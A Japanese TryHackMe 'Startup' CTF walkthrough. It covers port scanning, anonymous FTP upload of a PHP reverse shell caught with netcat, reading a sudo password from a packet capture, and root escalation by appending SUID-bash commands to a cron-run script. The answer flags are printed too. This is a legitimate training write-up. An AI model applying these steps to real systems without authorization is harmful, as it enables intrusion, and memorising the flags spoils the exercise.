概要
TryHackMe「Startup」のWalkthroughです。
Task1
Q1.What is the secret spicy soup recipe?
Hint.FTP and HTTP. What could possibly go wrong?
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.183.135 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.6.55.144
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp [NSE: writeable]
| -rw-r--r-- 1 0 0 251631 Nov 12 2020 important.jpg
|_-rw-r--r-- 1 0 0 208 Nov 12 2020 notice.txt
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
| 256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_ 256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 3.0.3 |
22 | ssh | OpenSSH 7.2p2 |
80 | http | Apache httpd 2.4.18 |
80
番ポートでWebサービスにアクセスできました。
ディレクトリの列挙を行います。
$ dirsearch -u http://10.10.183.135
[09:05:10] 301 - 314B - /files -> http://10.10.183.135/files/
[09:05:10] 200 - 512B - /files/
/files
にアクセスし画像とテキストファイルを発見しました。
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.
FTP
にAnonymous
でアクセスします。
$ ftp 10.10.183.135
Connected to 10.10.183.135.
220 (vsFTPd 3.0.3)
Name (10.10.183.135:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Webサービスと同様のファイルが見つかりました。
ftp> ls -la
229 Entering Extended Passive Mode (|||56066|)
150 Here comes the directory listing.
drwxr-xr-x 3 65534 65534 4096 Nov 12 2020 .
drwxr-xr-x 3 65534 65534 4096 Nov 12 2020 ..
-rw-r--r-- 1 0 0 5 Nov 12 2020 .test.log
drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp
-rw-r--r-- 1 0 0 251631 Nov 12 2020 important.jpg
-rw-r--r-- 1 0 0 208 Nov 12 2020 notice.txt
全てのファイルをダウンロードし、確認しましたが悪用できそうな情報はありませんでした。
ftp> mget *
ファイル構成がWebサービスと同じかつftp
ディレクトリが書き込み可能なのでここにリバースシェルのペイロードファイルを作成できないか試みます。
まず、試しに適当なファイルを置いてみます。
ftp> put demo
local: demo remote: demo
229 Entering Extended Passive Mode (|||45015|)
150 Ok to send data.
100% |************************************************************************| 7 201.05 KiB/s --:-- ETA
226 Transfer complete.
7 bytes sent in 00:00 (0.01 KiB/s)
ファイルが反映されました。
同様にPHPのリバースシェルファイルをアップロードします。
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||54420|)
150 Ok to send data.
100% |************************************************************************| 5685 50.66 MiB/s --:-- ETA
226 Transfer complete.
5685 bytes sent in 00:00 (11.60 KiB/s)
Netcatでリッスンし、リバースシェルファイルにアクセスるとwww-data
のシェルを取得できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.183.135] 52828
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
13:41:07 up 43 min, 0 users, load average: 0.00, 0.00, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
TTYを設定します。
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@startup:/$ tty
tty
/dev/pts/0
/
にrecipe.txt
を発見しました。
$ ls -la
-rw-r--r-- 1 www-data www-data 136 Nov 12 2020 recipe.txt
ファイルの中身を閲覧すると答えがわかりました。
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was love.
A.love
Q2.What are the contents of user.txt?
Hint.Something doesn't belong.
lennie
アカウントへの昇格を目指します。
$ ls -l /home
ls -l /home
total 4
drwx------ 4 lennie lennie 4096 Nov 12 2020 lennie
/
を再度見ると/incidents
フォルダを発見しました。
drwxr-xr-x 2 www-data www-data 4096 Nov 12 2020 incidents
/incidents
フォルダに移動し、suspicious.pcapng
ファイルを発見しました。
$ ls -l
ls -l
total 32
-rwxr-xr-x 1 www-data www-data 31224 Nov 12 2020 suspicious.pcapng
文字化けしていますがファイルの中身を注意深く見ていると、パスワードが要求された痕跡と文字列を発見しました。
*�@ *�?�[sudo] password for www-data: �d�=:L�ƨDD�E4~@@��������\�����/5�|�@��
*�@ *�@ dx�=:���AWEG@@��������\�����/5�|�▒@��
*�J*�@ c4ntg3t3n0ughsp1c3
SSH接続に成功しました。
$ ssh lennie@10.10.183.135
$ bash
lennie@startup:~$ whoami
lennie
/home/lennie/user.txt
からフラグを入手できます。
THM{03ce3d619b80ccbfb3b7fc81e46c0e79}
A.THM{03ce3d619b80ccbfb3b7fc81e46c0e79}
Q3.What are the contents of root.txt?
Hint.Scripts...
pspy
をKaliからダウンロードし、実行します。
./pspy32
rootが/home/lennie/scripts/planner.sh
を実行していると分かりました。
2024/07/20 14:14:01 CMD: UID=0 PID=2660 | /bin/bash /home/lennie/scripts/planner.sh
/home/lennie/scripts/planner.sh
の処理内容を見ると$LIST
変数を/home/lennie/scripts/startup_list.txt
に出力していると分かりました。
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
そして/etc/print.sh
にlennie
で編集権限があり、実行していると分かりました。
$ ls -l /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12 2020 /etc/print.sh
#!/bin/bash
echo "Done!"
/etc/print.sh
を編集します。
$ cd /tmp
$ echo "cp /bin/bash /tmp/bash" >> /etc/print.sh
$ echo "chmod u+s /tmp/bash" >> /etc/print.sh
SUID
が設定されたbash
プログラムを作成できました。
lennie@startup:/tmp$ ls -la
total 4304
drwxrwxrwt 7 root root 4096 Jul 20 14:26 .
drwxr-xr-x 25 root root 4096 Jul 20 12:58 ..
-rwsr-xr-x 1 root root 1037528 Jul 20 14:26 bash
実行し、権限昇格に成功しました。
$ /tmp/bash -p
bash-4.3# whoami
root
/root/root.txt
からフラグを入手できます。
THM{f963aaa6a430f210222158ae15c3d76d}
A.THM{f963aaa6a430f210222158ae15c3d76d}